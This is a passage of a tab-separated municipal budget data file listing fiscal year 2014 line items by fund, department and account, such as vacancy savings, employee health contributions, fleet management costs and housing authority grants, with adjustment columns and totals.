11431	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404771.0	PROP C LR-BIKE TRANSIT CENTER	610.0	Intergovernmental	2014	-25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25625.0
11432	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-22251.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22251.0
11433	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-200059.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200059.0
11434	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-37003.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37003.0
11435	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-28830.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-28830.0
11436	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-27639.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27639.0
11437	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-49244.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-49244.0
11438	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-90105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90105.0
11439	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-97800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-97800.0
11440	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-19823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-19823.0
11441	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-37023.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37023.0
11442	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-101754.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-101754.0
11443	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511580.0	COLLEGE SUMMER INTERNS	804.0	Salaries and Wages	2014	54632.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	54632.0
11444	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	804.0	Salaries and Wages	2014	-1077.0	0	0	0	0.0	0	1077.0	0	0	0	0	0.0	0.0
11445	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	792644.0	0	0	0	0.0	12033	0.0	0	0	0	0	0.0	804677.0
11446	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3561.0	0	0	0	0.0	47	0.0	0	0	0	0	0.0	3608.0
11447	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5794.0	0	0	0	0.0	74	0.0	0	0	0	0	0.0	5868.0
11448	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	2640.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2640.0
11449	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	817.0	0	0	0	0	0.0	817.0
11450	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	17810.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17810.0
11451	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	44322.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44322.0
11452	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	20122.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20122.0
11453	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2014	103918.88	0	0	0	0	0	0.0	0	0	0	0	0.0	103918.88
11454	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-16014.0	0	0	0	1537	0	0.0	0	0	0	0	0.0	-14477.0
11455	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-8819.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8819.0
11456	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-4239.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4239.0
11457	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-14066.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14066.0
11458	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-27950.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-27950.0
11459	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-5044.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5044.0
11460	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-13139.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13139.0
11461	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-3049.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3049.0
11462	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-7488.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7488.0
11463	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-3207.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3207.0
11464	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-5521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5521.0
11465	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-26456.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-26456.0
11466	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2014	-35467.0	0	0	0	0	0	0.0	35467	0	0	0	0.0	0.0
11467	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2014	-54358.0	0	0	0	0	0	0.0	54358	0	0	0	0.0	0.0
11468	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556150.0	SOLD NAME PLATES/BENCHES	808.0	 Supplies and Expenses	2014	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
11469	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556180.0	EMBALMING SUPPLIES/EQUIPMENT	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
11470	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2014	807.0	0	0	0	0	0	0.0	0	0	0	0	0.0	807.0
11471	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	61232.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61232.0
11472	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2014	396.0	0	0	0	0	0	0.0	0	0	0	0	0.0	396.0
11473	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	25700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25700.0
11474	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	247313.0	0	0	0	0	3663	-13.0	0	0	0	0	0.0	250963.0
11475	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	3880.0	0	0	0	0	51	0.0	0	0	0	0	0.0	3931.0
11476	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	7356.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7356.0
11477	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511749.0	VISION		Salaries and Wages	2014	547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	547.0
11478	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNREALIZED GAIN / LOSS	659.0	Investment Income	2014	71486.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71486.0
11479	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	401801.0	PROCEEDS	662.0	Other	2014	-70505.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-70505.0
11480	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402670.0	FUTURE REPLACEMENT-CNG FACILIT	650.0	Charges for Service	2014	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
11481	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402690.0	CNG FUEL-DEPT USAGE	650.0	Charges for Service	2014	-245000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-245000.0
11482	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	394855.0	0	0	0	0	5949	1326.0	0	0	0	0	0.0	402130.0
11483	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	3948.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3948.0
11484	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	15765.0	0	0	0	0	238	52.0	0	0	0	0	0.0	16055.0
11485	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522920.0	COMMERCIAL VEHICLE REPAIRS	808.0	 Supplies and Expenses	2014	297106.0	0	0	0	0	0	0.0	0	0	0	0	0.0	297106.0
11486	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522950.0	CNG FUEL		 Supplies and Expenses	2014	205000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	205000.0
11487	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	14018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14018.0
11488	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	19475.0	0	0	0	0	859	0.0	0	0	0	0	0.0	20334.0
11489	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	10250.0	0	0	0	0	12	0.0	0	0	0	0	0.0	10262.0
11490	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	591353.0	0	0	0	0	0	0.0	0	0	0	0	0.0	591353.0
11491	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	7982.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7982.0
11492	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2014	8038.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8038.0
11493	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	680168.0	0	0	0	0	15747	-11.0	0	0	0	0	0.0	695904.0
11494	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511490.0	OVERTIME		Salaries and Wages	2014	0.0	0	0	0	0	0	11.0	0	0	0	0	0.0	11.0
11495	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	75813.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75813.0
11496	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
11497	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2014	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
11498	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577530.0	FARMERS' MKT EDUCATION PRGS		 Supplies and Expenses	2014	13600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13600.0
11499	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1104383.0	0	0	0	0	16160	-136.0	0	0	0	0	0.0	1120407.0
11500	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	154609.0	0	0	0	0	0	0.0	0	0	0	0	0.0	154609.0
11501	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-7230.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7230.0
11502	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EAP	804.0	Salaries and Wages	2014	1249.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1249.0
11503	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	8429.0	0	0	0	0	102	0.0	0	0	0	0	0.0	8531.0
11504	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2014	2626379.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2626379.0
11505	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1050.0
11506	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	8327.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8327.0
11507	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402270.0	SPECIAL INSURANCE	650.0	Charges for Service	2014	-83532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-83532.0
11508	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-23000	0	0	0	0.0	-23000.0
11509	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-34068	0	0	0	0.0	-34068.0
11510	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2014	-1526948.0	0	0	0	0	0	0.0	1526948	0	0	0	0.0	0.0
11511	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2014	-4067.0	0	0	0	0	0	0.0	4067	0	0	0	0.0	0.0
11512	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2014	-27417.0	0	0	0	0	0	0.0	27417	0	0	0	0.0	0.0
11513	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	8388.0	0	0	0	0	16280	-88.0	0	0	0	0	0.0	24580.0
11514	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511490.0	OVERTIME	816.0	Salaries and Wages	2014	1048.0	0	0	0	0	0	88.0	0	0	0	0	0.0	1136.0
11515	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	22519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22519.0
11516	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511749.0	VISION	816.0	Salaries and Wages	2014	1789.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1789.0
11517	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
11518	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-4352.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4352.0
11519	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-16101.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16101.0
11520	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-50448.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-50448.0
11521	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-22797.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22797.0
11522	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-14965.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14965.0
11523	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-10431.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10431.0
11524	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-8038.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8038.0
11525	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-2226.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2226.0
11526	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1145.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1145.0
11527	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-71900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-71900.0
11528	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2014	-15612.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15612.0
11529	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4906.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4906.0
11530	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544450.0	ADMIN-COMMUNICATION EFFORTS	810.0	 Supplies and Expenses	2014	51447.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51447.0
11531	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2014	-31130.0	0	0	0	0	0	0.0	31130	0	0	0	0.0	0.0
11532	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2014	-39819.0	0	0	0	0	0	0.0	39819	0	0	0	0.0	0.0
11533	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2014	-29056.0	0	0	0	0	0	0.0	29056	0	0	0	0.0	0.0
11534	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2014	184.0	0	0	0	0	0	0.0	0	0	0	0	0.0	184.0
11535	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	325658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	325658.0
11536	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	6601.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6601.0
11537	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2014	6351.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6351.0
11538	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2014	2119.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2119.0
11539	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	4048.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4048.0
11540	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5214.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5214.0
11541	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1480.0
11542	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	55708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55708.0
11543	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	11212.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11212.0
11544	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	161129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	161129.0
11545	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	2566.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2566.0
11546	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1377.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1377.0
11547	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	7175.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7175.0
11548	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1217.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1217.0
11549	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	433.0	0	0	0	0	0	0.0	0	0	0	0	0.0	433.0
11550	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	50.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50.0
11551	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	140187.0	0	0	0	0	0	0.0	0	0	0	0	0.0	140187.0
